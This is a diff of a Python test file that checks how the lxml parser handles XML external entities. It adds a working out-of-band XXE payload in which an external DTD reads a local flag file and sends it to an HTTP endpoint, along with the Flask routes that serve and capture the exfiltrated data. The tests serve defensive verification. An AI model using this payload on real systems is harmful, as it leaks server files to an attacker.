7070<foo>bar</foo>
7171"""
7272
73+ exfiltrate_through_dtd_retrieval = f"""<?xml version="1.0"?>
74+ <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://{ HOST } :{ PORT } /exfiltrate-through.dtd"> %xxe; ]>
75+ """
76+
77+ predefined_entity_xml = """<?xml version="1.0"?>
78+ <test><</test>
79+ """
80+
7381# ==============================================================================
7482# other setup
7583
@@ -95,6 +103,22 @@ def test_xxe():
95103 hit_xxe = True
96104 return "ok"
97105
106+ @app .route ("/exfiltrate-through.dtd" )
107+ def exfiltrate_through_dtd ():
108+ return f"""<!ENTITY % file SYSTEM "file://{ FLAG_PATH } ">
109+ <!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://{ HOST } :{ PORT } /exfiltrate-data?data=%file;'>">
110+ %eval;
111+ %exfiltrate;
112+ """
113+
114+ exfiltrated_data = None
115+ @app .route ("/exfiltrate-data" )
116+ def exfiltrate_data ():
117+ from flask import request
118+ global exfiltrated_data
119+ exfiltrated_data = request .args ["data" ]
120+ return "ok"
121+
98122def run_app ():
99123 app .run (host = HOST , port = PORT )
100124
@@ -346,7 +370,7 @@ def test_local_xxe_enabled_by_default():
346370 parser = lxml .etree .XMLParser ()
347371 root = lxml .etree .fromstring (local_xxe , parser = parser )
348372 assert root .tag == "test"
349- assert root .text == "SECRET_FLAG\n " , root .text
373+ assert root .text == "SECRET_FLAG" , root .text
350374
351375 @staticmethod
352376 def test_local_xxe_disabled ():
@@ -361,11 +385,7 @@ def test_remote_xxe_disabled_by_default():
361385 hit_xxe = False
362386
363387 parser = lxml .etree .XMLParser ()
364- try :
365- root = lxml .etree .fromstring (remote_xxe , parser = parser )
366- assert False
367- except lxml .etree .XMLSyntaxError as e :
368- assert "Failure to process entity remote_xxe" in str (e )
388+ root = lxml .etree .fromstring (remote_xxe , parser = parser )
369389 assert hit_xxe == False
370390
371391 @staticmethod
@@ -416,6 +436,23 @@ def test_dtd_manually_enabled():
416436 pass
417437 assert hit_dtd == False
418438
439+ @staticmethod
440+ def test_exfiltrate_through_dtd ():
441+ # note that this only works when the data to exfiltrate does not contain a newline :|
442+ global exfiltrated_data
443+ exfiltrated_data = None
444+ parser = lxml .etree .XMLParser (load_dtd = True , no_network = False )
445+ with pytest .raises (lxml .etree .XMLSyntaxError ):
446+ lxml .etree .fromstring (exfiltrate_through_dtd_retrieval , parser = parser )
447+
448+ assert exfiltrated_data == "SECRET_FLAG"
449+
450+ @staticmethod
451+ def test_predefined_entity ():
452+ parser = lxml .etree .XMLParser (resolve_entities = False )
453+ root = lxml .etree .fromstring (predefined_entity_xml , parser = parser )
454+ assert root .tag == "test"
455+ assert root .text == "<"
419456
420457# ==============================================================================
421458
0 commit comments